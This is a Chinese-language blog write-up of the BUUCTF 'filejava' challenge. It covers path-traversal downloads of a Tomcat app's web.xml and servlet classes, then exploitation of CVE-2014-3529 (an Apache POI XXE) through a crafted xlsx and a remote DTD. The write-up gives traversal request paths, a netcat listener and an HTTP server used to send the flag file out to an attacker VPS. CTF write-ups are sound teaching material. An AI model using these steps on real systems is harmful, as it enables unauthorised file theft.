• BUUCTF WEB filejava


    哎,太菜了,继续更新吧
    先说一下,kali尽量不要更新到python 3.10,否则好多工具都不能用了。尤其很多默认模块在3.10里面都进行了重写。。。。。。。
    这题提示是java题目,上来先是一个上传窗口,尝试文件上传直接写马,发现不行。那就继续看,发现下载逻辑,尝试目录穿越。
    由于扫出来是tomcat,做过java web业务的都知道最重要的一个配置文件是WEB-INF里面的web.xml文件,说他是万物之祖也不为过。尝试读取一下:

    /DownloadServlet?filename=../../../../WEB-INF/web.xml
    

    得到结果:

    
    
        
            DownloadServlet
            cn.abc.servlet.DownloadServlet
        
    
        
            DownloadServlet
            /DownloadServlet
        
    
        
            ListFileServlet
            cn.abc.servlet.ListFileServlet
        
    
        
            ListFileServlet
            /ListFileServlet
        
    
        
            UploadServlet
            cn.abc.servlet.UploadServlet
        
    
        
            UploadServlet
            /UploadServlet
        
    
    

    得到了项目结构的一些信息,继续去读源码

    /DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    /DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
    /DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    

    下载好的class文件需要反编译,反编译之后发现是基于HttpServlet的文件上传系统,其他代码感觉没啥好说的,唯一值得注意的是UploadServlet里面的这个东西:

    if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
              try {
                Workbook wb1 = WorkbookFactory.create(in);
                Sheet sheet = wb1.getSheetAt(0);
                System.out.println(sheet.getFirstRowNum());
              } catch (InvalidFormatException e) {
                System.err.println("poi-ooxml-3.10 has something wrong");
                e.printStackTrace();
              }  
    

    直接出问题的是这一句:Workbook wb1 = WorkbookFactory.create(in);
    之前也遇到过这个漏洞,由于解析xlsx就想到了CVE-2014-3529,它通过构造恶意的xlsx当上述代码解析xlsx时会执行它里面的恶意代码
    利用方式网上很多,简单阐述
    通过[Content_Types].xml里面指定恶意dtd文件的位置,

    
    %remote;%int;%send;
    ]>
    

    然后再file.dtd里面写上xxe恶意代码

    
    ">
    

    当然需要nc -lvvp 7777
    同样需要起一个web应用,将file.dtd写进去
    python3 -m http.server 81
    简单总结一下,上传的xlsx文件在解析时会调动到[Content_Types].xml的恶意代码,从而去vps上执行含有恶意xxe的file.dtd文件,而这个文件的执行结果就是把受害机
    里面的/flag文件通过http协议外带到vps上的7777端口,就此over!

  • 相关阅读:
    【云服务器】阿里云部署项目、攻击CPU解决方案
    ROS入门21讲笔记
    ElasticSearch6.8.4&kibana6.8.4 安装教程
    layui table表格使用table.resize()方法 重置表格尺寸
    KUKA机器人中断编程2—中断相关的指令
    Jupyter Notebook使用
    Apollo Planning决策规划算法代码详细解析 (21): PathDecider详细解析上
    【多线程】Synchronized 用法详解
    Unity 2D SpriteRenderer filled Shader实现
    STM32单片机蓝牙APP智能鱼缸水位温度加氧定时喂食补光控制系统
  • 原文地址:https://blog.csdn.net/qq_41696858/article/details/127120413